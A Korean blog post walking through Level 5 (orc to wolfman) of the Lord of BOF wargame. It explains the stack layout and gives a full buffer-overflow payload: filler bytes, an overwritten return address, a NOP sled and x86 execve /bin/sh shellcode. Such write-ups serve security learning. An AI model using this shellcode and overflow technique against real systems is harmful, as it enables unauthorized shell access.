ii4gsp

LOB - Level5 [orc -> wolfman] 본문

시스템 해킹/LOB

LOB - Level5 [orc -> wolfman]

ii4gsp 2020. 1. 14. 12:05

이전 문제와 크게 달라진건 없다 하지만 맨 밑줄 buffer 40byte를 모두 0으로 초기화 해준다.

문제푸는 방식은 이전 문제와 동일하다.

 

 

 

 

이전의 스택구조와 동일하다

i

_____

buffer

______

SFP

______

RET

 

 

 

 

strcpy()호출 다음인 <main+194>에 break point를 걸어주고

0xbffffab4를 ret로 잡고 페이로드를 작성해주었다.

 

 

 

 

 

payload

./wolfman $(python -c 'print "\xbf" * 44 + "\xb4\xfa\xff\xbf" + "\x90" * 100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level7 [darkelf -> orge]  (0) 2020.01.15
LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level4 [goblin -> orc]  (0) 2020.01.14
LOB - Level3 [cobolt -> goblin]  (0) 2020.01.13
LOB - Level2 [gremlin -> cobolt]  (0) 2020.01.13
Comments